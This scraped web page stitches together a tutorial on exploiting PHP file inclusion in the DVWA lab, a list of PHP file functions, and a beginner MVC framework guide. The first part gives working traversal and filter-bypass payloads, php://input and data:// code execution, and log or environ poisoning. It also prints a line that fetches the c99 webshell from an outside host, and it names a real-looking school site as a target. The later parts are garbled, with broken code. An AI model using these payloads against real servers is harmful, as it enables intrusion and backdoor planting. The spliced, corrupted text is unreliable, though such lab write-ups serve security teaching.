Fictional view php file. File - Reads the contents of a file and puts it into an array. Working with files on the server

Sometimes file injection is called inclusion, sometimes it is considered as part of PHP injection (code injection). The latter is not entirely true, since file injection vulnerabilities are not necessarily related to code execution.

The vulnerability can occur when using (in PHP) expressions such as:

  • require_once,
  • include_once,
  • include,
  • require

Each of them has small nuances, but what they have in common is that they include a file in the program and execute it. These expressions can cause problems if they pass user input and the program does not filter it out enough.

By the way, yes, these are expressions, not functions. It is not necessary to write like this:

Require("somefile.php");

A more preferable option is:

Require "somefile.php";

But this is a retreat that has nothing to do with vulnerability.

If files are included using the expressions require_once, include_once, include, require, then we can say that code injection also takes place at the same time. However, it is possible to include files without running code on the server. For example, a website changes its appearance based on the user's chosen theme. The name of the themes corresponds to the name of the HTML files that are read on the server. In this situation, if the request is formed in such a way as to read a file that is not intended for this (for example, a PHP file), then instead of executing commands, the PHP source code will be displayed.

The user can specify a remote or local file as the inclusion file. Based on this, two corresponding varieties are distinguished:

  • local file injection
  • remote file injection

The danger of remote inclusion is the execution of arbitrary code on a vulnerable server. This is usually used for backdoor infections.

The danger of local file injection is that the user can display the contents of files that he does not have rights to view (program source codes, system files with settings and passwords). Also, with local inclusion, it is possible to execute third-party code (for example, for backdoor infection), if a file with malicious code was previously uploaded to the server, or the log poisoning method was used, or some other methods.

Local inclusion of files is no less dangerous than the introduction of remote files.

Exploiting Local File Embedding

You can try your hand at this vulnerability in Damn Vulnerable Web Application (DVWA). I'm using Web Security Dojo, where DVWA is already installed.

Let's start at a low level (low DVWA Security).

Let's go to the File Inclusion page http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

If a value similar to a file name (file1.php, file2.php) is passed as an argument to a variable, then we can assume that an include is being used. Since the file extension is .php, the file is most likely executed on the server (i.e. code injection is possible) and not just displayed for display.

DVWA has a page http://localhost/dvwa/about.php, it is located two levels up, let's try to view it this way: http://localhost/dvwa/vulnerabilities/fi/?page=../../ about.php

Yes, there is a local inclusion vulnerability. When entering, transitions to upper directories (../) are not filtered; the list of files for inclusion is not exhaustive (instead of the suggested file*.php, we chose about.php).

Sometimes included files are used, but the addresses may look, for example, like this: http://localhost/dvwa/vulnerabilities/fi/?page=file1. In this case, an extension can be added to the script and the script embeds a file whose name is finally formed in the script. Typically, a vulnerability in this form is difficult/impossible to exploit.

Often people like to give something like this as an example of exploiting local file inclusion:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

As we can see, it worked. But since web browsers ignore /r/n (newline characters), we need to open source the code to make the entries readable:

Unfortunately, there are no passwords in the /etc/passwd file for a long time.

From the server you can pull various settings files, SSL certificates, in principle, any file that is open for reading by all users or for which the web server has sufficient rights to read:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

As for shared hostings, sometimes it is possible to look into other people's folders (again, if user rights are configured incorrectly).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

The task is complicated by the fact that we need to know the path to the file.

Operation of remote file injection

PHP is a very flexible and developer-friendly programming language. File embedding commands and some others perfectly recognize and correctly process not only local files, but also URLs...

Let's try to write the site URL https://site/ instead of the file name:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Look how interesting it turns out:

The following happened: the PHP interpreter received a command to include the file/site https://site/. He opened/downloaded the corresponding address and sent the resulting code to be executed as a PHP program. Since PHP only executes the code surrounded by the appropriate tags (in this case there was no code at all) and outputs everything else as is, the entire website page is output as is.

Of course, this vulnerability is interesting to us not because we can view other sites through one site.

  • Generating/finding the backdoor source code
  • We create a file that is correct from a PHP point of view for execution on the server, which saves the backdoor source code in a PHP file
  • Save the received code to a TEXT file
  • Upload this text file to a controlled server
  • We save our backdoor on a vulnerable server using a remote file inclusion
  • I highlighted the word “text” for the reason that on the server under our control there should be a text file that should not be executed on our server. Our server only needs to show its contents.

    To create a backdoor, you can use Weevely, PhpSploit, or you can take ready-made solutions. Let's use a ready-made one this time.

    I will assign the $backdoor variable the source code of the backdoor, which I download from Github. Then I use the file_put_contents function to save the resulting source code into the c99unlimited.php file.

    The code I have placed in a text file

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "done!";

    It is available at http://miloserdov.org/sec.txt

    Now, using a remote include, we upload a backdoor to a vulnerable server.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Pay attention to the inscription done!, it is displayed by the script, i.e. everything probably worked out.

    Since the script that includes the files is located in the http://localhost/dvwa/vulnerabilities/fi/ directory, and our new file with the backdoor should have been saved with the name c99unlimited.php, the full address of the backdoor on the vulnerable server should be: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    We check:

    Great, now we have all the features a web server administrator could need... and those who have access to their server.

    Bypass filtering when including files locally

    Let's move on to the medium level of security (configurable in DVWA Security).

    If we look at the source code (View Source button):

    then we will see that the ../ characters are now filtered. This will prevent us from moving to a directory higher than the one in which the vulnerable script is running.

    Those. nothing will work like this:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Let's think about how filtering works in this case? Let’s say the word “bad” is filtered, then a line like

    good bad good

    after filtering it will look like this:

    good good

    And if you insert a line like this

    bad bad xo

    then after filtering (the “bad” will be removed) it will turn out

    Badly

    In ../ we insert ../ in the middle again, it turns out ..././

    Let's try this address http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/ my.cnf

    It worked!

    Another workaround could be to encode characters into hexadecimal encoding, an example of this line:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" can be replaced with "%2E%2E%2f".

    Double hex encoding is also practiced, in which “../” is replaced by “%252E%252E%252F”

    Local inclusion of files when adding an extension in a script

    If the code including files looks like:

    Those. If a .php or some other extension is added to any user input, this does not allow the request to be formed in such a way as to carry out an attack.

    There are several techniques that are designed to discard the extension, but they can be considered obsolete since they work on PHP 5.3, and even then not all versions. However, web server administrators are clinically conservative and prefer not to touch anything if it works. Those. There is a chance of encountering a server with a very ancient version of PHP, and you should be aware of these techniques.

    Using the null byte %00 (null byte)

    A null byte is added at the end of the request to ignore the extension:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    The second method is called a path pruning attack. The bottom line is that PHP truncates paths longer than 4096 bytes. In this case, PHP opens the file correctly, even if there are slashes and dots at the end of its name. If you pass as a parameter something like?param1=../../../../etc/passwd/./././././ (where ./ is repeated many thousands of times), then the end file along with the extension (which the script added, as a result of which the file name became includes/../../../../etc/passwd/./././././.php) will be discarded. And the file name will be includes/../../../../etc/passwd/./././././. And since PHP is not confused by trailing slashes and ./ at the end of the file, it simply ignores them, in total PHP will open the file along the path includes/../../../../etc/passwd.

    Bypassing filtering for remote file injection

    As we already saw in the source code, the medium security level also filters out http:// and https://.

    Now http://localhost/dvwa/vulnerabilities/fi/?. We will use exactly the same technique as to bypass filtering with local inclusion. Generated request:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    And also note that it is not filtered, for example ftp, i.e. This option would work without any tricks at all:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Obtaining the source code of PHP scripts when including files from php://filter

    This trick does not require remote file inclusion. A kind of meta wrapper php://filter will be used.

    Let's say we want to see the source code of the file file1.php, then for our situation the request will be composed like this:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Pay attention to the meaningless string of letters and numbers - this is the source code of the file file1.php in base64 encoding. Since it is base64, binary files are also supported.

    Let's decode the file:

    Remote code execution with php://input

    This is not like file embedding and again does not require you to upload files.

    To help, I will use the FireFox extension, you can also use it or any other program (for example, curl) that can transfer data using the POST method.

    php://input has access to the raw body of the HTTP request, to understand what include("php://input") does, open the page

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    And in the body of the request, send the correct PHP code (for example, using the POST method). This will allow you to perform any function allowed on the remote server!

    Remote code execution with data://

    Additionally, PHP supports the data:// URL scheme. You can place the code directly in the GET parameter! The following test does not require any special tools, just a regular browser to perform the attack.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Some web application firewalls may notice a suspicious string in a URL and block the malicious request. But there is a way to encrypt the string with at least base64 encoding:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Execute arbitrary commands from /proc/self/environ

    /proc/self/environ is the process variable storage. If the Apache process has sufficient rights to access it, then when opening a web page that contains an include with a similar URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    will output something like

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Pay attention to HTTP_USER_AGENT. Instead, you can substitute the correct PHP code, which will be executed on a remote server.

    Etching and injection of logs when including files locally

    Unfortunately, this method no longer works on recent versions of Apache.

    Its essence lies in the fact that the attacker’s code is injected into the web server logs. This can be done by replacing User-Agent , or even simply passing it in a GET parameter.

    Static injection of a remote file

    Example of a static include:

    You can use a static inclusion in very exotic situations. To inject malicious code, it is necessary to carry out a man-in-the-middle attack between two servers: one of which hosts the web application using the include, and the second hosts the file used for the inclusion.

    PHP file_exists("test.txt")//Does the file exist? filesize("test.txt");//Find out the file size //The timestamp is returned: fileatime("test.txt");//Date of the last access to the file //date("d M Y", $atime); filemtime("test.txt");//Date of file modification //date("d M Y", $mtime); filectime("test.txt");//File creation date (Windows) //date("d M Y", $ctime); Files: operating modes PHP resource fopen (string filename, string mode) // resource - returns a pointer to the file in case of success, or FALSE in case of error Operating mode Descriptionr r+ w w+ A a+ b
    open file read-only;
    open the file for reading and writing;
    open the file for writing only. If it exists, then the current contents of the file are destroyed. The current position is set to the beginning;
    open the file for reading and writing. If it exists, then the current contents of the file are destroyed. The current position is set to the beginning;
    open the file for writing. The current position is set to the end of the file;
    open the file for reading and writing. The current position is set to the end of the file;
    process the binary file. This flag is required when working with binary files on Windows.
    Opening and closing files in PHP PHP $fi = fopen("test.html", "w+") or die("Error"); //Examples $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Close fclose($fi) Reading files in PHP PHP //Reading the file fread(int fi, int length) $str = fread($fi, 5); // Read the first 5 characters echo $str; // since the cursor has moved $str = fread($fi, 12); // Read the next 12 characters echo $str; fgets(int fi[, int length]) // Read a line from a file fgetss(int fi, int length [, string allowable]) // Read a line from a file and discard HTML tags // string allowable - tags that need to be left fgetc(int fi) //Reads a character from a file

    Initially, the Write will occur at the beginning of the file, by overwriting existing data, if any. Therefore, if you need to write something to the end of the file, you need to set the appropriate reading mode, for example, a+ .

    Manipulating the cursor in PHP files PHP int fseek(int fi, int offset [, int whence]) //Setting the cursor // int fi - pointer to the file //offset - the number of characters to move by. //whence: //SEEK_SET - movement starts from the beginning of the file; //SEEK_CUR - movement starts from the current position; //SEEK_END - movement starts from the end of the file. fseek($fi, -10, SEEK_END); //Read the last 10 characters $s = fread($fi, 10); $pos = ftell($fi); // Find out the current position rewind($f) // reset the cursor bool feof($f) // end of the file Direct work with files (data) in PHP PHP array file(string filename) // Get the contents of the file in the form of an array // Another option for directly working with data file_get_contents(string filename) //Reading (we get the entire file in one line) //Writing to the file (initially overwritten) file_put_contents(string filename, mixed data[,int flag]); //FILE_APPEND // Write to the end of the file: file_put_contents("test.txt", "data", FILE_APPEND); //If you write an array, $array = array("I", "live"); file_put_contents("test.txt",$array); //then we get "Ilive" Managing files in php PHP copy(string source, string destination); // Copying the file rename(str oldname, str newname); // Rename the file unlink(string filename); // Deleting a file Uploading files to the PHP server // PHP.ini settings file_uploads (on|off) // allowing or disabling file uploads upload_tmp_dir // temporary folder for uploaded files. by default temporary folder upload_max_filesize (default = 2 Mb) // max. size of the uploaded file post_max_size // total size of the form sent (must be greater than upload_max_filesize) //Simple HTML upload We work with files on the PHP server //Receive data $tmp = $_FILES["userfile"]["tmp_name"]; $name = $_FILES["userfile"]["name"]; //Move the file move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // redirect the file to the upload folder // relative to the current file // What's in the $_FILES array $_FILES["userfile"]["name"] // file name, for example, test.html $_FILES["userfile"][" tmp_name"] // temporary file name (path) $_FILES["userfile"]["size"] // file size $_FILES["userfile"]["type"] // file type $_FILES["userfile"] ["error"] // 0 - no errors, number - yes Many people start writing a project to work with a single task, not implying that it can grow into a multi-user management system, for example, content or, God forbid, production. And everything seems great and cool, everything works, until you begin to understand that the code that is written consists entirely of crutches and hard code. The code is mixed with layout, queries and crutches, sometimes even unreadable. A pressing problem arises: when adding new features, you have to tinker with this code for a very long time, remembering “what was written there?” and curse yourself in the past.

    You may have even heard about design patterns and even leafed through these wonderful books:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides “Object-oriented design techniques. Design Patterns";
    • M. Fowler "Architecture of Enterprise Software Applications."
    And many, undaunted by the huge manuals and documentation, tried to study any of the modern frameworks and, faced with the complexity of understanding (due to the presence of many architectural concepts cleverly linked to each other), put off the study and use of modern tools “on the back burner.”

    This article will be useful primarily for beginners. In any case, I hope that in a couple of hours you will be able to get an idea of ​​the implementation of the MVC pattern, which underlies all modern web frameworks, and also get “food” for further reflection on “how to do it.” At the end of the article there is a selection of useful links that will also help you understand what web frameworks consist of (besides MVC) and how they work.

    Seasoned PHP programmers are unlikely to find anything new for themselves in this article, but their comments and comments on the main text would be very helpful! Because Without theory, practice is impossible, and without practice, theory is useless, then first there will be a little theory, and then we will move on to practice. If you are already familiar with the MVC concept, you can skip the theory section and go straight to the practice.

    1. Theory The MVC pattern describes a simple way to structure an application, the purpose of which is to separate business logic from the user interface. As a result, the application is easier to scale, test, maintain and, of course, implement.

    Let's look at the conceptual diagram of the MVC pattern (in my opinion, this is the most successful diagram I have seen):

    In MVC architecture, the model provides the data and business logic rules, the view is responsible for the user interface, and the controller provides interaction between the model and the view.

    A typical flow of an MVC application can be described as follows:

  • When a user visits a web resource, the initialization script creates an instance of the application and launches it for execution.
    This displays a view of, say, the main page of the site.
  • The application receives a request from the user and determines the requested controller and action. In the case of the main page, the default action is performed ( index).
  • The application instantiates the controller and runs the action method,
    which, for example, contains model calls that read information from the database.
  • After this, the action creates a view with the data obtained from the model and displays the result to the user.
  • Model - contains the business logic of the application and includes methods for fetching (these can be ORM methods), processing (for example, validation rules) and providing specific data, which often makes it very thick, which is quite normal.
    The model should not directly interact with the user. All variables related to the user request must be processed in the controller.
    The model should not generate HTML or other display code that can change depending on the user's needs. Such code should be processed in views.
    The same model, for example: the user authentication model can be used in both the user and administrative parts of the application. In this case, you can move the general code into a separate class and inherit from it, defining sub-application-specific methods in its descendants.

    View - used to specify the external display of data received from the controller and model.
    Views contain HTML markup and small inserts of PHP code to traverse, format, and display data.
    Should not directly access the database. This is what models should do.
    Should not work with data obtained from a user request. This task must be performed by the controller.
    Can directly access properties and methods of a controller or models to obtain output-ready data.
    Views are usually divided into a common template, containing markup common to all pages (for example, a header and footer) and parts of the template that are used to display data output from the model or display data entry forms.

    The controller is the glue that connects models, views, and other components into a working application. The controller is responsible for processing user requests. The controller should not contain SQL queries. It is better to keep them in models. The controller should not contain HTML or other markup. It’s worth bringing it into view.
    In a well-designed MVC application, controllers are usually very thin and contain only a few dozen lines of code. The same cannot be said about Stupid Fat Controllers (SFC) in CMS Joomla. The controller logic is quite typical and most of it is transferred to base classes.
    Models, on the contrary, are very thick and contain most of the code related to data processing, because the data structure and business logic contained within it are usually quite specific to a particular application.

    1.1. Front Controller and Page ControllerIn most cases, user interaction with a web application occurs through clicking on links. Look now at the address bar of your browser - you received this text from this link. Other links, such as those on the right side of this page, will provide you with different content. Thus, the link represents a specific command to the web application.

    I hope you have already noticed that different sites can have completely different formats for constructing the address bar. Each format can display the architecture of a web application. Although this is not always the case, in most cases it is a clear fact.

    Let's consider two options for the address bar, which display some text and a user profile.

    First option:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Here, each script is responsible for executing a specific command.

    Second option:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • And here all calls occur in one index.php script.

    You can see the multi-touchpoint approach on the phpBB forums. The forum is viewed through the viewforum.php script, the topic is viewed through viewtopic.php, etc. The second approach, accessed through a single physical script file, can be seen in my favorite CMS MODX, where all calls go through index.php.

    These two approaches are completely different. The first is typical for the Page Controller pattern, and the second approach is implemented by the Front Controller pattern. The page controller is good for sites with fairly simple logic. In turn, the request controller consolidates all request processing activities in one place, which gives it additional capabilities that can allow you to implement more complex tasks than are usually solved by the page controller. I will not go into details of the implementation of the page controller, but will only say that in the practical part, it will be the request controller (something similar) that will be developed.

    1.2. URL Routing URL routing allows you to configure your application to accept requests from URLs that do not correspond to actual application files, and to use CNCs that are semantically meaningful to users and preferred for search engine optimization.

    For example, for a regular page displaying a contact form, the URL might look like this:
    http://www.example.com/contacts.php?action=feedback

    Approximate processing code in this case:
    switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "About Us" page break ; case "contacts" : require_once ("contacts.php" ); // page "Contacts" break ; case "feedback" : require_once ("feedback.php" ); // page "Feedback" break ; default : require_once ("page404.php" ); // page "404" break ; )
    I think almost everyone has done this before.

    Using a URL routing engine, you can configure your application to accept requests like this to display the same information:
    http://www.example.com/contacts/feedback

    Here contacts represents the controller, and feedback is the contacts controller method that displays the feedback form, etc. We will return to this issue in the practical part.

    It's also worth knowing that many web frameworks' routers allow you to create custom URL routes (specify what each part of the URL means) and rules for processing them.
    Now we have sufficient theoretical knowledge to move on to practice.

    2. Practice First, let's create the following file and folder structure:


    Looking ahead, I will say that the core classes Model, View and Controller will be stored in the core folder.
    Their children will be stored in the controllers, models and views directories. The index.php file is the entry point into the application. The bootstrap.php file initiates the loading of the application, connecting all the necessary modules, etc.

    We will go sequentially; Let's open the index.php file and fill it with the following code:
    ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
    There shouldn't be any questions here.

    Next, let's immediately go to the bootstrap.php file:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Route::start(); //start the router
    The first three lines will include currently non-existent kernel files. The last lines include the file with the router class and launch it for execution by calling the static start method.

    2.1. Implementing a URL Router For now, let's deviate from the implementation of the MVC pattern and focus on routing. The first step we need to do is write the following code in .htaccess:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    This code will redirect all page processing to index.php, which is what we need. Remember in the first part we talked about Front Controller?!

    We will place the routing in a separate file route.php in the core directory. In this file we will describe the Route class, which will run controller methods, which in turn will generate the page view.

    Contents of the route.php file

    class Route ( static function start () ( // controller and default action $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // get the controller name if (!empty ($routes )) ( $controller_name = $routes ; ) // get the action name if (!empty ($routes )) ( $action_name = $routes ; ) // add prefixes $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // hook up the file with the model class (there may not be a model file) $model_file = strtolower($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // hook up the file with the controller class $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( include "application/controllers/" .$controller_file ; ) else ( /* it would be correct to throw an exception here, but to simplify things, we’ll immediately redirect to the 404 page */ Route::ErrorPage404(); ) // create a controller $controller = new $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // call the controller action $controller ->$action (); ) else ( // here it would also be wiser to throw an exception Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ); header(" Location:" .$host ."404" ); ) )


    I note that the class implements very simplified logic (despite the voluminous code) and may even have security problems. This was done intentionally, because... writing a full-fledged routing class deserves at least a separate article. Let's look at the main points...

    The global array element $_SERVER["REQUEST_URI"] contains the full address to which the user contacted.
    For example: example.ru/contacts/feedback

    Using the function explode The address is divided into components. As a result, we get the name of the controller, for the example given, this is controller contacts and the name of the action, in our case - feedback.

    Next, the model file (the model may be missing) and the controller file, if any, are connected and finally, an instance of the controller is created and the action is called, again, if it was described in the controller class.

    Thus, when going to, for example, the address:
    example.com/portfolio
    or
    example.com/portfolio/index
    The router will perform the following actions:

  • will include the model_portfolio.php file from the models folder, containing the Model_Portfolio class;
  • will include the controller_portfolio.php file from the controllers folder, containing the Controller_Portfolio class;
  • will create an instance of the Controller_Portfolio class and call the default action, action_index, described in it.
  • If the user tries to access the address of a non-existent controller, for example:
    example.com/ufo
    then he will be redirected to the “404” page:
    example.com/404
    The same thing will happen if the user accesses an action that is not described in the controller.2.2. Let's return to the MVC implementation. Let's go to the core folder and add three more files to the route.php file: model.php, view.php and controller.php


    Let me remind you that they will contain base classes, which we will now begin writing.

    Contents of the model.php file
    class Model ( public function get_data ( ) ( ) )
    The model class contains a single empty data fetch method, which will be overridden in descendant classes. When we create descendant classes everything will become clearer.

    Contents of the view.php file
    class View ( //public $template_view; // here you can specify the default general view. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convert array elements into variables extract($data); ) */ include "application/views/" .$template_view ; ) )
    It is not difficult to guess that the method generate intended to form a view. The following parameters are passed to it:

  • $content_file - views displaying page content;
  • $template_file — template common to all pages;
  • $data is an array containing page content elements. Usually filled in in the model.
  • The include function dynamically connects a general template (view) within which the view will be embedded
    to display the content of a specific page.

    In our case, the general template will contain header, menu, sidebar and footer, and the page content will be contained in a separate form. Again, this is done for simplicity.

    Contents of the controller.php file
    class Controller ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
    Method action_index- this is the action called by default; we will override it when implementing descendant classes.

    2.3. Implementation of the descendant classes Model and Controller, creation of View"s Now the fun begins! Our business card website will consist of the following pages:
  • home
  • Services
  • Portfolio
  • Contacts
  • And also - the “404” page
  • Each page has its own controller from the controllers folder and a view from the views folder. Some pages may use a model or models from the models folder.


    In the previous figure, the file template_view.php is highlighted separately - this is a template containing markup common to all pages. In the simplest case it could look like this:
    home
    To give the site a presentable look, we create a CSS template and integrate it into our site by changing the structure of the HTML markup and connecting CSS and JavaScript files:

    At the end of the article, in the “Result” section, there is a link to a GitHub repository with a project in which steps have been taken to integrate a simple template.

    2.3.1. Creating the main page Let's start with the controller controller_main.php , here is its code:
    class Controller_Main extends Controller ( function action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    In method generate an instance of the View class, the names of the files of the general template and the view with the page content are passed.
    In addition to the index action, the controller can of course contain other actions.

    We reviewed the general view file earlier. Consider the content file main_view.php:
    Welcome! OLOLOSHA TEAM is a team of first-class specialists in the field of website development with many years of experience in collecting Mexican masks, bronze and stone statues from India and Ceylon, bas-reliefs and sculptures created by masters of Equatorial Africa five or six centuries ago...
    This contains simple markup without any PHP calls.
    To display the main page, you can use one of the following addresses:

    • methods of libraries that implement data abstraction. For example, methods of the PEAR MDB2 library;
    • ORM methods;
    • methods for working with NoSQL;
    • and etc.
    • For simplicity, we will not use SQL queries or ORM statements here. Instead, we will emulate real data and immediately return an array of results.
      Place the model file model_portfolio.php in the models folder. Here are its contents:
      class Model_Portfolio extends Model ( public function get_data () ( return array (array ("Year" => "2012" , "Site" => "http://DunkelBeer.ru" , "Description" => "Promotional site of the dark Dunkel beer from the German manufacturer Löwenbraü produced in Russia by the brewing company "SUN InBev." ), array ("Year" => "2012" , "Site" => "http://ZopoMobile.ru" , "Description" => "Russian-language catalog of Chinese phones from Zopo based on Android OS and accessories for them."), // todo ) ) )

      The model controller class is contained in the controller_portfolio.php file, here is its code:
      class Controller_Portfolio extends Controller ( function __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      To a variable data the array returned by the method is written get_data which we looked at earlier.
      This variable is then passed as a method parameter generate, which also contains: the name of the file with the general template and the name of the file containing the view with the page content.

      The view containing the page content is in the portfolio_view.php file.
      Portfolio

      All projects in the following table are fictitious, so do not even try to follow the links provided.

      2024 | Computers for everyone - Setup, installation, recovery


      YearProjectDescription